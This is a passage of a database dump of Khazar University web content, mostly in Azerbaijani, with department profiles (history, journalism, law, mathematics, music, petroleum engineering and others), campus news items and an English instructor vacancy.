style=\"padding-left:200px\"><img src=\"/files/history_depart/images/khudafarin.jpg\" style=\"border:0px  #000000;vertical-align:baseline;width:300px;height:198px\"></p>\r\n<h3><strong>Missiyası</strong></h3>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Tarix və Arxeologiya departamenti\r\nyüksək təhsil standartlarını təmin edir. Departamentin məqsədi tələbələri\r\ninsanların yaranması və inkişafı haqqında biliklə təmin etmək, onların\r\nbacarığını inkişaf etdirmək, tədqiqatlara rəhbərlik edib və onları analiz etmək\r\nvə əsas nəticəni göstərməkdir. Departamentin əsas məqsədi tələbələrdə tədqiqat\r\nişlərinin inkişaf və analiz etdirilməsi və tarixi üsullardan istifadə\r\netməklə dəqiq nəticə əldə edilməsidir. Departament Azərbaycan tarixi fənni\r\nmüvafiq olaraq Universitetin bütün fakültələrinin tələbələri üçün tədris\r\nolunur. Bu kurs qədim zamanlardan son günlərədək vətən tarixini əhatə edir və\r\nŞərq dünyasının ayrılmaz hissəsi kimi Qafqaz və Orta Asiya dövlətləri tarixi\r\nilə bilavasitə əlaqədə öyrənilir. Əcnəbi tələbələr üçün Azərbaycan tarixi fənni\r\ningilis dilində tədris olunur. Departament tarix müəllimliyi ixtisasının\r\naçılması ilə əlaqədar onlara uyğun tədris proqramları tərtib etmişdir. Bunlar -\r\nQədim Şərq və Antik civilizasiyalar tarixi, Türk xalqları tarixi, arxeologiya,\r\netnoqrafiya, köməkçi tarixi fənnlər, Avropanın orta və müasir tarixi, Amerika\r\ntarixi, Asiya və Afrika ölkələrinin tarixi və s. fənnlərdir. Bizim əsas\r\nmissiyalarımızdan biri də bəşəriyyətin keçmişi haqqında biliklərin qorunması və\r\ninkişaf etdirilməsidir. Departamentin müəllim-professor heyəti də tələbələrin\r\ntarix elmini yaxşı mənimsəməsinə yardımçı olur. Bu məqsədi yerinə yetirmək üçün\r\nbütün fənnlər üzrə müzakirələr aparırıq və tələbələrə proqramı izah edirik.</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Departament dünya sivilizasiyaları\r\ntarixinin əsas fənnini təqdim edir və bu kursa Qədim və Orta əsrlər tarixi,\r\nAsiya, Afrika, Amerika mədəniyyəti tarixi və həmçinin arxeologiya, etnoqrafiya,\r\nantropologiya fənnləri daxildir və burada nisbətən tarixi problemlər də\r\nmüzakirə olunur. Universitetin tələbələrinə uyğun olaraq departament\r\nAzərbaycanın Milli tarixi-mədəniyyəti və inkişafı ilə bağlı fənnlər təşkil\r\nedir.</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Departament fənnin tədrisi zamanı\r\nvizual vasitələrdən, tarixi xəritələrdən, video materiallardan və digər\r\nvasitələrdən istifadə edir. Departamentin xüsusi kitabxanası qiymətli tarixi\r\nkitablarla və materiallarla zəngindir. Tədris prosesi zamanı departament\r\ntələbələrin marağını qoruyur, onları kreativ və müstəqil işlərə cəlb edir.\r\nTələbələr müxtəlif prezentasiyalar hazırlayır, esseler yazır, universitet və\r\nrespublika elmi seminarlarında və konfranslarda aktiv iştirak edirlər.</p><p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Departamentin həmçinin, dövlət arxivi ilə, müxtəlif institutlar və tarix muzeyləri ilə sıx əlaqəsi var. Universitetin tələbələri isə ən çox Azərbaycanın müxtəlif bölgələrində olan tarixi yerlərdə ekskursiyalara, arxeoloji qazıntılarla və onların işində iştirak etməyə böyük maraq göstərirlər.</p>'),(6102,3479,'az','“Müasir geyim kolleksiyalarında Azərbaycan milli ornamentlərinin əksi məqsədilə təlimlərin təşkili” layihəsi başa çatdı','2018-ci il sentyabrın 10-dan 17-dək Bakıda keçirilmiş “Müasir geyim kolleksiyalarında Azərbaycan milli ornamentlərinin...','<p>2018-ci il sentyabrın 10-dan 17-dək Bakıda keçirilmiş “Müasir geyim kolleksiyalarında Azərbaycan milli ornamentlərinin əksi məqsədilə təlimlərin təşkili” layihəsinin iştirakçılarına sertifikatlar verilmişdir.</p><p>Qeyd edək ki, təlimçilər arasında Xalça rəssamı, Azərbaycan Rəssamlar İttifaqının üzvü, Xəzər Universitetinin müəllimi, Universitetin nəzdindəki Xalça Muzeyinin və Təsviri Sənət Muzeyinin direktoru Afaq Kərimova da var idi.</p><p>Bu haqda daha geniş məlumatı bu link vasitəsilə əldə etmək olar:</p><p><a href=\"http://sfera.az/genc-dizaynerlere-sertifikat-verildi-fotolar\">http://sfera.az/genc-dizaynerlere-sertifikat-verildi-fotolar</a>.</p>'),(1890,1161,'en','Khazar University Chamber Orchestra on Space TV','On May 29, the Khazar University Chamber Orchestra led by Associate Professor Zulfiyya Sadigova, Head of the Department of Music and Fine Arts, performed on the “Ulduzlu Seher” (Starry Morning) Program of Space TV.','<p>On May 29, the Khazar University Chamber Orchestra led by\r\nAssociate Professor Zulfiyya Sadigova, Head of the Department of Music and Fine\r\nArts, performed on the “Ulduzlu Seher” (Starry Morning) Program of Space TV.\r\nThey also accompanied People’s Artist Samir Jafarov in a performance of “Baku,”\r\nwith lyrics written by Prof. Hamlet Isaxanli.&nbsp;</p>'),(273,141,'az','Jurnalistika','Jurnalistika','<p><strong>Ümumi məlumat</strong></p><p><strong></strong>Jurnalistika&nbsp;departamentinin əsas məqsədi tələbələri ağıllı, məsuliyyətli və savadlı jurnalistlər kimi hazırlamaqdır.&nbsp;Departament ən yaxşı jurnalistika təhsili&nbsp;olaraq, ictimai və dəqiq elmlərin təhsil gücünü peşəkar proqramda&nbsp;birləşdirildirildiyinə inanır.</p><p>Departament inanır ki, belə təhsil tələbələrə insanların fərqli şəraitdə və ya keçmişlərindəki həyat hekayələrini dinləməyə, anlamağa və danışmağa kömək edir.&nbsp;Departament Humanitar və sosial elmlər fakültəsinin tərkibində özünəxüsus&nbsp;yer tutur.</p><p>Departamentin əsas vəzifəsi tələbələri uyğun karyera üçün hazırlamaqdır.&nbsp;Departament digər departamentlərdəki həmkarlarının elmi-tədqiqat, tədris və xidmətlərini qiymətləndirir. Bu, həm departamentin özünü, həm də onların tələbələrimizə verdikləri pedaqoji dərinliyi dəyərləndirir.</p><p>Biz bu fikrə sadiq qalırıq ki, bizim mütəxəssislərimizin dünyanı anlamaq üçün humanitar sahədə güclü elmi bilgiləri və onları çatdırmaq üçün güclü jurnalistika bilgiləri olmalıdır.</p><p>Departament öz tələbələrini digər sahələri dərindən öyrənməyə və fakültənin digər departamentlərindən ikinci ixtisası tamamlamağa həvəsləndirir.&nbsp;Həmçinin, departament digər departamentlərdəki tələbələri onların təhsil və karyera imkanlarını artırmaq üçün ikinci ixtisas kimi jurnalistika təhsili almağa təşviq edir.&nbsp;</p><p>Departament, eyni zamanda, öz&nbsp;yazı, müsahibə və araşdırma bacarıqlarını yaxşılaşdırmaq və ya KİV haqqında bilik əldə etmək üçün müraciət edən qeyri-ixtisas tələbələrinə də öz töhfəsini verir.</p><p>&nbsp;<strong>Missiyası</strong></p><p><strong></strong>Jurnalistika departamenti azad və müstəqil media və kommunikasiya mühiti yaratmağı nəzərdə tutur: tənqidi, sayıq və proflaktik; milli; səlahiyyətli və transformasiya olunan; plüralist və hamı üçün əlçatan; gender bərabərliyini, ekoloji ahənginin müdafiəsini, sosial ədaləti və sülhü təbliğ etməyi.</p><p>Departamenti aşağıdakı keyfiyyətlərlə səciyyələndirilən peşəkar jurnalistlər yetişdirməyi öz öhdəsinə götürür:</p><ul><li>ali düşüncə qabiliyyətinin inkişafı üçün imkanları olan;</li><li><br></li><li>sosial məsuliyyətli;</li><li><br></li><li>incəsənət və mədəniyyətə həvəsli;</li><li><br></li><li>dəyərli və parlaq mənəviyyatlı;</li><li><br></li><li>texnologiya və başqa resurslardan məsuliyyətli istifadə edə bilən;</li><li><br></li><li>insan cəmiyyətinə, xüsusilə uşaq və qadınların hüquqlarına hörmətlə yanaşan.</li></ul><p>Departament milli və dünyəvi dəyərlər, elmi inkişaf, ictimai fəaliyyət və sosial məsuliyyət üzərində qurulan media və kommunikasiya proqramı təklif edərək, ölkənin aparıcı qurumunun formalaşmasını və Azərbaycanda media və kommunikasiya praktiklərinin təhsilini öz üzərinə götürür.&nbsp;</p><p><span class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media04040635805205883\" width=\"150\" height=\"100\" style=\"line-height: 15px; color: rgb(58, 59, 59);\"><br></span></p><p><strong>Gözləntiləri</strong></p><p><strong></strong>Jurnalistika departamenti&nbsp;tələbələri, məzunları, media və kommunikasiya praktiklərini belə görür:</p><ul><li>&nbsp;yetkin, təcrübəli və yaradıcı;</li><li>&nbsp;son dərəcə məsuliyyətli;</li><li>səlahiyyətli və səlahiyyət verən;</li><li>sosial dəyişkənliyə açıq agentlər;</li><li>gender bərabərliyinin, ekoloji ahəngin, sosial ədalətin və sülhün dönməz müdafiəçiləri.</li></ul><strong>Ümumi&nbsp;</strong><strong>m</strong><strong>əqsədlər</strong><strong>i</strong><p><strong></strong>Jurnalistika proqramının məqsədi media və kommunikasiyanın bu sahələrinin: yazı, istehsalat və tədqiqatın nəzəri və praktik aspektlərini öyrənən tələbənin öyrənməsini asanlaşdırmaqdır.<strong>&nbsp;</strong></p><p><strong></strong><strong>Xüsusi</strong><strong>&nbsp;</strong><strong>m</strong><strong>əqsədlər</strong><strong>i</strong></p><p><strong></strong>Xüsusi olaraq, jurnalistika proqramı öz tələbələrinin aşağıdakı qabiliyyətlərini inkişaf etdirmək məqsədi daşıyır:</p><p>1. Yazı kursları vasitəsilə ustalıq və təfəkkür;</p><p>2. İstehsalat vasitəsilə texniki bacarıqlar və yaradıcılıq;</p><p>3. Elmi-tədqiqat işləri vasitəsilə nizam-intizam, təhqiqatçı bacarıqları və tənqidi mühakimə;</p><p>4. Öz peşəkar və şəxsi həyatlarında dərin sosial məsuliyyət, gender və uşaq həssaslığı, ətraf mühitə və təbiətə məhəbəbbət hissi.</p>'),(4508,2674,'az','“Bir” Tələbə-Könüllü Proqramı Xəzər Universitetində','2017-ci il noyabrın 24-də “Bir” Tələbə-Könüllü Proqramı tərəfindən Xəzər Universiteti Tələbə Məclisinin təşkilatı dəstəyi, 150-dən çox tələbənin...','<p>2017-ci il noyabrın 24-də “Bir” Tələbə-Könüllü Proqramı tərəfindən Xəzər Universiteti Tələbə Məclisinin təşkilatı dəstəyi, 150-dən çox tələbənin iştirakı ilə keçirilən təqdimat baş tutdu. Təqdimat zamanı tələbələrin böyük əksəriyyəti könüllü olmaq üçün <a href=\"www.konullu.edu.az\">www.konullu.edu.az</a> portalından proqrama qoşuldu.</p><p>Tələbələrin böyük maraqla qatıldığı təqdimat zamanı iştirakçılara “Bir” Tələbə-Könüllü Proqramı, ölkəmizdə könüllülük fəlsəfəsi, proqramın əsas istiqamətləri və proqramın fəaliyyətlərində iştirak imkanları haqqında məlumat verildi. İnteraktiv üsulla keçirilən təqdimat zamanı tələbələr könüllülük haqqında fikirlərini bölüşdülər, kreativ təşəbbüslərlə çıxış etdilər.</p><p>Təqdimat zamanı həmçinin “Bir” Tələbə-Könüllü Proqramı və Bakı Şəhər Halqası Əməliyyat Şirkəti arasında “Formula-1” Avropa Qran Prisi çərçivəsində imzalanmış rəsmi əməkdaşlıq memorandumu əsasında tələbələrə “Formula-1” Avropa Qran Prisi zamanı könüllü olmağın üstünlükləri haqqında məlumat verildi. Bunun nəticəsində, tələbələr “Formula-1” Avropa Qran Prisində könüllü olmağa böyük həvəs və maraq göstərdilər.</p>'),(274,142,'az','Hüquq','Hüquq','<p style=\"text-align:justify\"><strong><em>Hüquq departamenti&nbsp;</em></strong>Universitetin aparıcı qurumlardan biridir. О, Хəzər Universitetinin əsası qоyulduğu gündən, 1991-ci il tariхində yaradılmışdır. Departamentin fərqləndirici хüsusiyyəti qismində müəllimlər tərəfindən tədris və tədqiqat sahəsində innоvasiyaların tətbiqini və tələbələrin tədris sahəsində göstərdiyi fəallığı göstərmək оlar.&nbsp;&nbsp;</p><p style=\"text-align:justify\">Tədris prоsesində azərbaycan və ingilis dillərindən istifadə оlunur. Ingilis dilindən tədris dili kimi istifadə оlunması həm tələbələrin, həm də fakültənin tədris, tədqiqat, peşəkar fəaliyyətində yardım edir, оnlara dünyada peşəkar cəmiyyətlə ünsiyyət üçün yeni imkanlar yaradır. Departamentdə 12 nəfərə yaxın professor-müəllim heyəti çalışır.</p><p style=\"text-align:justify\">Hüquq departamentinin maddi-texniki bazasının möhkəmlənməsinə&nbsp;həmişə böyük diqqət və qayğı göstərən universitet rəhbərliyi bunu nəzərə alaraq, Amerika Hüquqşünasları Assosiyasiyası (ABACEELI) və ABŞ İnkişaf Agentliyinin (USAID) dəstəyi ilə fakültədə Məhkəmə zalı yararatmışdır. Bu layihənin əsas məqsədi universitetdə təhsil alan tələbələri məhkəmə işinin təşkili ilə yaxından tanış etmək, məhkəmə psixologiyasınа аlışdırmаq, gələcəkdə məhkəməyə müraciət etmək vərdişlərini aşılamaqdan ibarətdir.</p><p style=\"text-align:justify\">2012-ci ilin dekabr ayından ABŞ İnkişaf Agentliyi (USAİD) ilə Əməkdaşlıq Razılaşmasına əsasən, Azərbaycan Hüquqşünasları Konfederasiyası (AHK) “Azərbaycan Hüquq Konsorsiumu” layihəsinin icrasına başlamışdır. Layihə çərçivəsində hüquqşünas tələbələr və gənc hüquqşünasların bacarıqlarını inkişaf etdirmək məqsədilə Xəzər Universitetində Hüquq Tədris Mərkəzi yaradılmışdır. Tədris mərkəzində həmçinin&nbsp; İnsan Hüquqları ilə bağlı silsilə təlim kurslarının keçirilməsi nəzərdə tutulub.</p>'),(4573,2711,'az','\"Xəzər Universitetində I Çin həftəsi\"nin “Ənənəvi Çin oyunlarını kəşf edin” adlı 4-cü günü başa çatdı','2017-ci il dekabrın 7-də Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzi və Hanban/Konfutsi İnstitutunun birgə təşkilatçılığı ilə...','<p>2017-ci il dekabrın 7-də Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzi və Hanban/Konfutsi İnstitutunun birgə təşkilatçılığı ilə Azərbaycanda ilk dəfə –&nbsp;“Xəzər Universitetində I Çin həftəsi” tədbirinin “Ənənəvi Çin oyunlarını kəşf edin”&nbsp;adlı 4-cü günü başa çatdı. Tədbirdə Xəzər Universitetinin Beynəlxalq Çin dili və mədəniyyəti müəllimi Li Ya və Konfutsi İnstitutunun əməkdaşları fəal iştirak etdilər. Tədbirin girişində professor Gaojunxia tərəfindən Tai chi –&nbsp;Çin döyüş sənəti tələbələrə nümayiş olundu.</p><p>Sonda tədbirdə fəal iştirak edən tələbələrə və Konfutsi İnstutunun müəllimlərinə hədiyyələr verildi.</p>'),(275,143,'az','Riyaziyyat','Riyaziyyat','<p><img src=\"/files/math_depart/ali_h.jpg\" style=\"float:left;width:150px;height:164px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/math_depart/Ali%20Huseynli%20cv.pdf\">Əli Hüseynli</a>&nbsp;</strong>(Riyaziyyat üzrə fəlsəfə doktoru)</p><p><strong>Riyaziyyat Departamentinin müdiri</strong></p><p>Doktorantura (AMEA, Riyaziyyat və Mexanika İnstitutu)</p><p>Magistratura - BDU, mexanika-riyaziyyat fakültəsi</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><br><p><img src=\"http://www.khazar.org/files/image/13_11_08_normal_ian-symbol-mathematics-pi.png\" style=\"border:0px  #000000;width:150px;height:144px;margin:7px;float:left\">Riyaziyyat Departamenti 1 oktyabr 1993-cü ildə təsis edilmişdir. Departament riyaziyyat və tətbiqi riyaziyyat sahəsində Magistratura və Doktorantura pilləsində təhsil almağa imkan verən proqramlar təklif edir.&nbsp;</p><p>Departamentin riyaziyyat sahəsində öz maraqlarını digər istiqamətlərlə birləşdirmək istəyən tələbələr üçün riyaziyyat çərçivəsində bir sıra departamentlərasrası proqramları mövcuddur.  <br></p><p>&nbsp;Departament Xəzər Universitetinin bütün fakültələrində pre-calculus, ümumi və ali riyaziyyat, diferensial tənliklər, xətti və tətbiqi cəbr, əməliyyatlar tədqiqi, ümumi statistika, habelə biostatistika və biznes statistikası, iqtisadiyyat və biznes riyaziyyatı və s. kurslarını tədris edir.</p><p>Departament&nbsp;2009-cu ildən riyaziyyat və kompüter təhsili sahəsində bakalavr proqramları təklif edir. Riyaziyyat və kompüter təhsilinin bakalavr dərəcəsi proqramı Riyaziyyat Departamenti və Kompüter Elmləri Departamenti tərəfindən birgə təklif olunan bir departamentlərarası proqramdır.&nbsp;</p><p>Bütün proqramları və kurs işləri riyazi elmlərin nəzəri və tətbiqi sahələrində istiqamətlər spektrni özündə geniş əks etdirir. Mövzu baxımından oxşar, lakin səviyyəsi müxtəlif olan kurslar seçiminə imkan yaradılır.</p><p>Tədqiqat yönümlü kurrikulumun dörd növü vardır: &nbsp;</p><ul><li>Riyaziyyata&nbsp;güclü marağı olan doktorantlar üçün nəzərdə tutulmuş riyaziyyat. &nbsp; &nbsp; &nbsp;&nbsp;</li><li>Kompüter elmi ilə bərabər əsaslarla tədqiq olunan riyaziyyat və kompüter elmləri. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</li><li>Riyaziyyat və iqtisadiyyat elmləri arasında tələbələrin öyrəndikləri güclü əlaqələr, iqtisadiyyatda, xüsusilə riyazi modellərin öyrənilməsi.</li><li>Riyaziyyat fakültəsinin tədqiqat maraqlarını təmsil edən xüsusi tətbiqi riyaziyyat sahələri. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</li></ul><p>Riyaziyyat fakültəsinin cari tədqiqat sahələrinə daxildir: funksional analiz, operatorlar nəzəriyyəsi, adi və xüsusi törəməli diferensial tənliklər, riyazi fizika, cəbr, riyazi iqtisadiyyat, ehtimal nəzəriyyəsi və riyazi statistika. Bu sahələrə əlavə olaraq, kurs işləri riyazi optimallaşdırma və əməliyyat tədqiqatı, həqiqi və kompleks analiz, ədədi üsullar, riyaziyyatın tarixi və fəlsəfəsinə həsr olunur. Xəzər Universiteti Nəşriyyatı tərəfindən nəşr olunan Khazar Journal of Mathematics jurnalının mənzil qərargahı Riyaziyyat Departamentidir. Departamentdə təşkil olunan seminarlarda müəllim və tələbələrin müxtəlif mövzulara həsr olunmuş ən son elmi nəticələri məruzə olunur.&nbsp;</p>'),(5126,2981,'az','Qazaxıstanın Nazarbayev Universitetinin nümayəndələri Xəzər Universitetində','2018-ci il fevralın 21-də Qazaxıstanın Nazarbayev Universitetinin nümayəndələri ilə Xəzər...','<p>2018-ci il fevralın 21-də Qazaxıstanın Nazarbayev Universitetinin nümayəndələri ilə Xəzər Universitetində görüş keçirildi.</p><p>Nazarbayev Universitetini İctimai siyasət fakültəsinin dekanı Weng Tat Hui və marketinq meneceri Yulia Kaufman təmsil edirdilər. Xəzər Universitetindən rektor Dr. Hassan Hassan Niknafs, Tədris işləri üzrə prorektor professor Məhəmməd Nuriyev, Tədqiqat işləri üzrə prorektor İradə Xəlilova, Beynəlxalq əlaqələr şöbəsinin koordinatoru Günay Fərzəliyeva görüşdə iştirak edirdilər.</p><p>Görüş zamanı hər iki universitet arasında tələbə mübadiləsi, ikili dərəcə proqramlarının yaradılması, tədqiqat sahəsində əməkdaşlıq imkanları müzakirə edildi. Gələcək əməkdaşlığın əsasını qoymaq və ortaq maraq doğuran sahələrdə birgə işlər görmək üçün anlaşma memorandumunun imzalanması razılaşdırıldı.&nbsp;</p><p>Görüşün sonunda hər iki universitetin təbliğat materialları təqdim olundu.</p>'),(3572,2095,'az','Vakansiya: İngilis dili müəlliminə ehtiyac var','Xəzər Universiteti İngilis dili və ədəbiyyatı departamenti 2017-cı il payız semestri...','<p>Xəzər Universiteti İngilis dili və ədəbiyyatı\r\ndepartamenti 2017-cı il payız semestri üçün&nbsp;“ingilis dili müəllimi” vəzifəsi\r\nüzrə vakansiya elan edir. </p>\r\n<p>Ali məktəblərdə ingilis dilinin tədrisi üzrə ən az 3\r\nillik təcrübəsi olan, dilçilik və ya ingilis dilinin tədrisi sahəsində magistr\r\ndərəcəsi olan müəllimlərə üstünlük veriləcək. </p>\r\n<p>Maraqlananlar <strong>2017-ci\r\nil sentyabrın 1-dən gec olmayaraq,</strong> Xəzər Universiteti İngilis dili və ədəbiyyatı\r\ndepartamentinə müraciət edə və CV-lərini göndərə bilərlər: <a href=\"mailto:emehdiyev@khazar.org\">emehdiyev@khazar.org</a>.</p>'),(3573,2095,'en','English Instructor','The English Language and Literature Department at Khazar University is seeking qualified...','<p>The English Language and Literature Department at Khazar University is seeking qualified applicants to fill the position of an English instructor for the fall semester, 2017. The applicants should have a Master’s degree in Linguistics or English Language Teaching. Those who have at least 3 years of experience in English language teaching at universities will be given preference.</p><p>The candidates who are interested should send their CVs to Eynur Mehdiyev, Vice-chair of the Department of English Language and Literature&nbsp;<a href=\"mailto:emehdiyev@khazar.org\">emehdiyev@khazar.org</a></p><p>Deadline: 01.09.2017&nbsp;</p>'),(276,144,'az','Müasir Dillər və Müqayisəvi Ədəbiyyat','Müasir Dillər və Müqayisəvi Ədəbiyyat','<div><br></div><p></p><div style=\"font-size:medium\"><div>Müasir dillər və müqayisəli ədəbiyyat departamentinin əsas məqsədi tələbələrə qərb dillərində oxuma, yazma danışma və tərcümə etmə vərdişlərini aşılamaqdır.Hal- hazırda departamentdə alman, fransız və ispan dilləri keçirilir. Fənnlər xarici ölkələrdə təhsil almış, müəllim və tərcüməçi kimi fəaliyyət göstərmiş dil mütəxəssiləri tərəfindən tədris edilir. Fənnlər ixtisaslara uyğun paylanılır.</div><div><br></div><div>Hədəfimiz dilləri tədris olunmaqla yanaşı, eyni zamanda tələbələrə müvafiq ölkələrin ədəbiyyatı, mədəniyyəti, müasir həyatı və özünəməxsus xüsusiyyətləri barədə geniş məlumat verməkdir.</div><div><br></div><div>&nbsp; Nəticə olaraq, müəllim və tələbələrlə birgə ölkə təqdimatı ilə əlaqədar tədbirlər keçirilir.<div><br></div></div></div>  <br><p></p>'),(277,145,'az','Musiqi və İncəsənət','Musiqi və İncəsənət','<p><br><strong><img src=\"http://www.khazar.org/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\"></strong></p><p>İncəsənət və musiqi departamenti ixtisasından asılı olmayaraq bütün universitet&nbsp; tələbələri üçün incəsənət və musiqinin müxtəlif sahələri ilə məşğul olmağa imkan yaradır və bu fənlər universitetdə tələb olunan fənlər siyahısına alınacaq.Departamentin proqramı Azərbaycan və dünya musiqisinin mirasını və arxivlərini öyrənmək üçün mühit yaradır.&nbsp;Departament peşəkar və istedadlı qrafik rəssamlarının sərgilərini, xarici teatr və konsert qruplarının turlarını və hörmətli rəssamlarla görüşləri təşkil edir. Bu davamlı fəaliyyət Xəzər Universitetini Bakının ən zəngin mədəni mərkəzlərindən birinə çevirmişdir. Xəzərin mahnı və rəqs ansamblı&nbsp; Avropa, Türkiyə, Qatar və Gürcüstanda çıxış edərək bir neçə müsabiqələrin qalibi olmuşdur. Xəzər Universitetinin ansamblı Qafqaz, rus, ispan, ərəb, ingilis, italyan, fars, türk, qaraçı və digər milətlərin mahnı və rəqslərini ifa edir.Departamentin&nbsp; qaydalarına əməl olunması şərti ilə musiqi, rəqs, xor, xalça toxunması və yüksək ali dərəcələr əldə etmək üçün professional treyninq kurslar kimi müxtəlif fənlər təşkil edir. Həmçinin departament tərəfindən mütəmadi olaraq incəsənət tarixi, dünya incəsənəti və mədəniyyəti, Asiya və Avropa mədəniyyəti kimi ixtisaslaşmış fənlər də təklif olunmuşdur. Əlavə olaraq, bu departament Xəzər Universitetinin mədəniyyət sahəsinin inkişafında əsas rol oynayır.Bu səbəbdən də Departament şəhərin (Bakı) mərkəzindəki məşhur “Dünya” konsert salonu daxil olmaqla, universitetin hər iki korpusunda iki konsert salonu yaradılmışdır.&nbsp; Təhsil və tədqiqatla yanaşı universitetin mədəni həyatını zənginləşdirmək məqsədi ilə digər təşkilatlarla əlaqələr yaradır, konsertlər və şoular təşkil edir və buraxılış mərasimləri və digər tədbirlərdə mühüm rol oynayır.&nbsp;Departamentin məqsədi xalça toxuma, musiqi duyumunun inkişafı, musiqi biliyi, həmçinin Xəzərin tələbələrinin artistik və intelekt imkan və bacarıqlarının inkişafı üçün performans imkanlarının inkişafı kimi Azərbaycan Milli incəsənətinə aid sahələrdə treyninqlər təşkil etməkdir. Universitetin toplantı salonları eyni zamanda Azərbaycan və dünya mədəniyyətinin inkişafı və təbliğinə töhfə vermək üçün universitet və digər qrupların toplantıları, məşqləri və konsertləri üçün istifadə olunur. Departament tərəfindən təklif olunan fənlər Azərbaycanın fundamental estetik dəyərlərinin təbliğini həyata keçirir. Hər tələbə milli mədəniyyətimizi daha dərindən öyrənmək üçün arzuladıqları sahəni seçə bilərlər. Tələbələr Xəzər Universitetində təhsil aldıqları müddətdə musiqi, rəqs, teatr və digər qruplarda iştirak edə bilər və eyni zamanda muğam, xalq musiqisi, Azərbaycanın klassik musiqisi və səs, xor, xalçaçılıq, zərgərlik və milli kostyum dizaynı üzrə tanınmış mütəxəssislərdən dərslər alaraq akademik kredit əldə edə bilərlər. Musiqi və İncəsənət departamenti həmçinin Xalça muzeyi, Zərgərlik muzeyi və Milli geyimlər muzeyi daxil olmaqla bir neçə mərkəzin işinə nəzarət edir.</p>'),(278,146,'az','Neft Mühəndisliyi','Neft Mühəndisliyi','<p>Neft mühəndisliyi departamenti 1991-ci ildə yaradılmışdır. Departamentin əsas hədəfləri neft mühəndisliyi mütəxəssislərini qazma, istehsal və su anbarlarında yeni texnologiyaların yaradılması və tətbiq edilməsi, həmçinin neft sənayesi ilə bağlı ətraf mühit məsələlərinin həllinin tapılmasında onların bilik və bacarıqlarından səmərəli istifadə etmək üçün yüksək səviyyəli tədris ilə təmin etməkdir.&nbsp;</p><p style=\"text-align:center\"><img src=\"/files/petroleum_depart/Ocean-Victory.jpg\" style=\"width:400px;height:259px;vertical-align:bottom\"><br></p>'),(279,147,'az','Fəlsəfə və Sosiologiya','Fəlsəfə və Sosiologiya','<p>Departament müxtəlif humanitar və sosial elm sahələrinin tədrisi və tədqiqini nəzərdə tutan çoxfənnli (multidissiplinar) akademik vahid kimi 1992-ci ildə yaradılmışdır. Hal-hazırda Departamentin əsas akademik sahələri və tədqiqat fəaliyyətləri üç istiqamətdə qruplaşdırılır:</p><p>• Fəlsəfə (buraya aşağıdakı fənnlər daxildir: fəlsəfə tarixi, din fəlsəfəsi, siyasət fəlsəfəsi, fəlsəfə və ədəbiyyat münasibətləri, fəlsəfə və&nbsp;linqvistika)</p><p>• Digər sosial və humanitar elm sahələri (sənətlərin və mədəniyyətin öyrənilməsi, sosial və kultural antropologiya)</p><p>Departament tərəfindən universitetin bütün fakültərində ümumtəhsil tələblərə müvafiq olaraq fakültativ proqramlar formasında müxtəlif kurslar təklif və tədris edilir. Departamentin Humanitar və sosial elmlər, İqtisadiyyat və menecment, Təhsil və Mühəndislik fakültələrinə təklif etdiyi fənnlərə bakalavr və magistr proqramları üçün tələb olunan ixtisas, ixtisasa yaxın və ixtisasla az əlaqəli kurslar daxildir.</p><p>Departamentin fakültələrində ailmlərin əsaslı təcrübi təlimləri və müxtəlif tədqiqat maraqları təşkil edilir. Bütün fakültə üzvləri öz sahələrinə uyğun güclü akademik savada malikdirlər və geniş nəşr edilirlər. Xarici ölkələrdən dəvət edilmiş tanınmış professorlar universitetin fakültələrində müqavilə əsasında işləyirlər.</p><p>Departamentin bakalavr, magistr və Ph.D. dərəcələri üzrə fənnlərarası ixtisas proqramları mövcuddur.</p>'),(2088,1280,'en','New catalog about Khazar University laboratories has been published ','The gracefully designed at Khazar University Press “Technological laboratories and centers” catalog was published in July...','<p>The gracefully designed at Khazar University Press “Technological \r\nlaboratories and centers” catalog was published in July. Catalogue \r\nconsists of 128 pages.  </p><p>The author of the catalog is prof. \r\nIsakhan Isakhanli, Vice Rector for Administration &amp; Student Affairs,\r\n editor Martha Lawry and designer Sevinj Shafiyeva. The catalog presents\r\n the detailed information on rich laboratories and centers located at \r\nKhazar University. </p>'),(280,148,'az','Siyasi Elm və Beynəlxalq Münasibətlər','Siyasi Elm və Beynəlxalq Münasibətlər','<h3 style=\"text-align:center\"><strong>Siyasi Elm və Beynəlxalq Münasibətlər Departamenti</strong></h3><p><strong><br></strong></p><p><strong>İxtisasların\r\nmahiyyəti</strong></p><p><strong>050208 – Politologiya ixtisası (bakalavriat\r\nsəviyyəsində)</strong></p>\r\n<p style=\"text-align:justify\">Politologiya ixtisası yerli və qlobal səviyyədə siyasi\r\nfəaliyyəti araşdırır. Bu ixtisası seçən hər bir tələbəmiz hakimiyyət və onun\r\nbölgüsü, siyasi sistemlər, cəmiyyət və dövlət, siyasi rejimlər, demokratiya\r\nanlayışı, siyasi mədəniyyət və siyasi ideologiya, beynəlxalq müna­si­bət­lər və\r\nxarici siyasət problemləri barəsində dərin biliklərə yiyələnə bilər. Eyni\r\nzamanda, bu ixtisas üzrə təhsil alaraq siz 